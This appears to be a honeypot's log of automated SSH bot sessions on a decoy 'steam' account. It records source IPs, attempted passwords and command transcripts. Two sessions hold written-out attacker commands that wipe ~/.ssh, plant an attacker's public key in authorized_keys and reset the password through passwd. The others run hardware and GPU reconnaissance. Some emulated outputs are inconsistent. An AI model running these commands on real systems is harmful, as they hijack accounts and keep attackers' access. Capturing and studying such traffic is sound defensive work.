{"id":"523fdf1f-cd18-4578-bb06-808128e94259","name":"dutiful-crystal-lark","protocol":"ssh","channel_kind":"exec","src_ip":"201.249.166.171","src_port":53042,"username":"steam","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":360,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T14:04:09.869400+00:00","ended_at":"2026-08-27T14:04:11.405987+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2160,"events":[{"seq":1,"at":"2026-08-27T14:03:41.508208+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T14:03:41.874704+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T14:03:45.800014+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T14:03:47.452108+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T14:03:47.957900+00:00","kind":"input","latency_ms":null,"data":"echo -e \"pass\\nGVwH2et9hv3T\\nGVwH2et9hv3T\"|passwd|bash"},{"seq":6,"at":"2026-08-27T14:03:48.525757+00:00","kind":"input","latency_ms":null,"data":"echo \"pass\\nGVwH2et9hv3T\\nGVwH2et9hv3T\\n\"|passwd"},{"seq":7,"at":"2026-08-27T14:03:48.887298+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T14:03:49.986091+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T14:03:50.219341+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T14:03:50.268768+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T14:03:50.579285+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T14:03:51.429353+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T14:03:51.897367+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T14:03:53.627730+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T14:03:54.195558+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T14:03:55.245807+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T14:03:55.607072+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T14:03:56.689588+00:00","kind":"output","latency_ms":null,"data":" 14:03:56 up 7 days, 10:54,  0 user,  load average: 0.19, 0.14, 0.15\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":19,"at":"2026-08-27T14:03:57.051123+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T14:03:57.974518+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T14:03:58.334771+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T14:04:00.335677+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T14:04:00.794314+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T14:04:02.830299+00:00","kind":"output","latency_ms":null,"data":"top - 14:04:02 up 7 days, 10:54,  0 user,  load average: 0.19, 0.14, 0.15\nTasks: 117 total,   1 running, 116 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    7149 free,    8738 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T14:04:03.189943+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T14:04:05.160050+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T14:04:05.519143+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T14:04:06.999218+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T14:04:07.369215+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T14:04:08.330239+00:00","kind":"output","latency_ms":null,"data":"steam"},{"seq":31,"at":"2026-08-27T14:04:08.695770+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T14:04:09.543823+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T14:04:09.870193+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T14:04:11.297811+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"steam","password":"pass","method":"password","accepted":true,"tier":"other"}]}
{"id":"0583a9ed-0c6c-46a0-b7da-a070a9a60675","name":"earnest-vivid-kiwi","protocol":"ssh","channel_kind":null,"src_ip":"201.249.166.171","src_port":55208,"username":"steam","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T14:03:44.871447+00:00","ended_at":"2026-08-27T14:03:45.692444+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"steam","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"aaf58b00-0af5-4c4a-8453-752d4e5b8ee0","name":"crisp-gritty-wagtail","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":49024,"username":"steam","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":333,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T07:01:26.047857+00:00","ended_at":"2026-08-27T07:01:27.467618+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2140,"events":[{"seq":1,"at":"2026-08-27T07:01:07.250954+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T07:01:07.583543+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T07:01:11.451304+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T07:01:11.867039+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T07:01:12.201169+00:00","kind":"input","latency_ms":null,"data":"echo -e \"maets\\neo9RI1tONTPC\\neo9RI1tONTPC\"|passwd|bash"},{"seq":6,"at":"2026-08-27T07:01:12.533513+00:00","kind":"input","latency_ms":null,"data":"echo \"maets\\neo9RI1tONTPC\\neo9RI1tONTPC\\n\"|passwd"},{"seq":7,"at":"2026-08-27T07:01:12.865481+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T07:01:13.268930+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T07:01:13.603846+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T07:01:14.670315+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T07:01:15.007746+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T07:01:16.468713+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T07:01:16.802070+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T07:01:17.463871+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T07:01:17.797228+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T07:01:18.574656+00:00","kind":"output","latency_ms":null,"data":" 07:01:18 up 7 days,  3:51,  0 user,  load average: 0.02, 0.03, 0.02\nUSER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT"},{"seq":17,"at":"2026-08-27T07:01:18.907594+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T07:01:19.719182+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T07:01:20.053303+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T07:01:20.641920+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T07:01:20.975748+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T07:01:21.397555+00:00","kind":"output","latency_ms":null,"data":"top - 07:01:21 up 7 days,  3:51,  0 user,  load average: 0.02, 0.03, 0.02\nTasks: 108 total,   1 running, 107 sleeping,   0 stopped,   0 zombie\n%Cpu(s):  1.3 us,  0.7 sy,  0.0 ni, 97.7 id,  0.3 wa,  0.0 hi,  0.0 si,  0.0 st\nMiB Mem :    15888 total,    8738 free,    7149 used\nMiB Swap:    4095 total,    4095 free,        0 used\n\n    PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+ COMMAND\n      1 root      20   0  168404  13072   8284 S   0.0   1.3   0:04.19 systemd\n    742 root      20   0  109272   6144   5376 S   0.0   0.6   0:00.83 nginx\n    889 postgres  20   0  218360  28416  26112 S   0.0   2.9   0:01.44 postgres\n   1204 root      20   0  712924  48732  22188 S   0.3   4.9   0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T07:01:21.732378+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T07:01:22.140618+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T07:01:22.474846+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T07:01:23.195142+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T07:01:23.526934+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T07:01:24.074515+00:00","kind":"output","latency_ms":null,"data":"steam"},{"seq":29,"at":"2026-08-27T07:01:24.407737+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T07:01:25.713964+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T07:01:26.048367+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T07:01:27.368681+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"steam","password":"maets","method":"password","accepted":true,"tier":"other"}]}
{"id":"9157ca3a-2f83-4b77-b8f7-8231540760bb","name":"eager-oaken-lemur","protocol":"ssh","channel_kind":null,"src_ip":"46.253.45.10","src_port":50398,"username":"steam","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T07:01:10.652690+00:00","ended_at":"2026-08-27T07:01:11.356711+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"steam","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]}
{"id":"62519c50-129c-49e8-a83d-8b0a4cda6c5b","name":"solar-fabled-moose","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.217","src_port":41866,"username":"steam","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":266,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-27T03:08:59.921359+00:00","ended_at":"2026-08-27T03:09:04.963212+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":864,"events":[{"seq":1,"at":"2026-08-27T03:08:09.592879+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T03:08:12.382323+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-27T03:08:12.645763+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-27T03:08:15.721296+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-27T03:08:16.095453+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-27T03:08:20.707377+00:00","kind":"output","latency_ms":null,"data":"6 days, 23:58"},{"seq":7,"at":"2026-08-27T03:08:21.092287+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-27T03:08:24.844389+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-27T03:08:25.346388+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-27T03:08:30.256725+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-27T03:08:30.444455+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-27T03:08:33.745839+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-27T03:08:33.918889+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-27T03:08:39.256502+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-27T03:08:39.595777+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-27T03:08:42.769486+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-27T03:08:43.108349+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-27T03:08:48.767336+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-27T03:08:49.033548+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-27T03:08:54.579322+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-27T03:08:54.789605+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-27T03:08:59.696807+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-27T03:08:59.922276+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-27T03:09:04.876835+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"steam","password":"1","method":"password","accepted":true,"tier":"other"}]}
{"id":"4b7059b7-9313-408d-b126-9022a4a2682d","name":"wooded-mottled-wagtail","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.217","src_port":54072,"username":"steam","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":294,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-27T02:45:44.273226+00:00","ended_at":"2026-08-27T02:45:47.414166+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":864,"events":[{"seq":1,"at":"2026-08-27T02:44:54.774470+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T02:45:00.063037+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-27T02:45:00.357769+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-27T02:45:02.941302+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-27T02:45:03.156093+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-27T02:45:08.927443+00:00","kind":"output","latency_ms":null,"data":"6 days, 23:35"},{"seq":7,"at":"2026-08-27T02:45:09.213705+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-27T02:45:14.441680+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-27T02:45:14.806753+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-27T02:45:17.639320+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-27T02:45:18.352697+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-27T02:45:21.759305+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-27T02:45:22.529443+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-27T02:45:27.889087+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-27T02:45:28.294634+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-27T02:45:31.116771+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-27T02:45:31.358699+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-27T02:45:35.756946+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-27T02:45:36.397624+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-27T02:45:41.079759+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-27T02:45:41.323910+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-27T02:45:44.087044+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-27T02:45:44.273939+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-27T02:45:47.173810+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"steam","password":"123456","method":"password","accepted":true,"tier":"other"}]}
{"id":"ec752188-fc3d-4782-93aa-4c52db5c7339","name":"muted-vivid-harrier","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.40.217","src_port":54858,"username":"steam","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":302,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-27T02:43:55.916184+00:00","ended_at":"2026-08-27T02:44:01.373236+00:00","ended_reason":"exec complete","commands":12,"transcript_bytes":864,"events":[{"seq":1,"at":"2026-08-27T02:43:07.840907+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T02:43:11.024701+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-27T02:43:11.276319+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-27T02:43:15.336690+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-27T02:43:15.517606+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-27T02:43:19.533001+00:00","kind":"output","latency_ms":null,"data":"6 days, 23:33"},{"seq":7,"at":"2026-08-27T02:43:19.747463+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-27T02:43:22.852148+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-27T02:43:23.174107+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-27T02:43:27.717208+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-27T02:43:27.978500+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-27T02:43:30.551344+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-27T02:43:31.157662+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-27T02:43:36.383092+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-27T02:43:36.984897+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-27T02:43:41.239054+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-27T02:43:41.541076+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-27T02:43:44.830369+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-27T02:43:45.143171+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-27T02:43:50.541604+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-27T02:43:51.046462+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-27T02:43:55.623489+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-27T02:43:55.917109+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-27T02:44:01.163481+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"}],"credentials":[{"username":"steam","password":"123","method":"password","accepted":true,"tier":"other"}]}
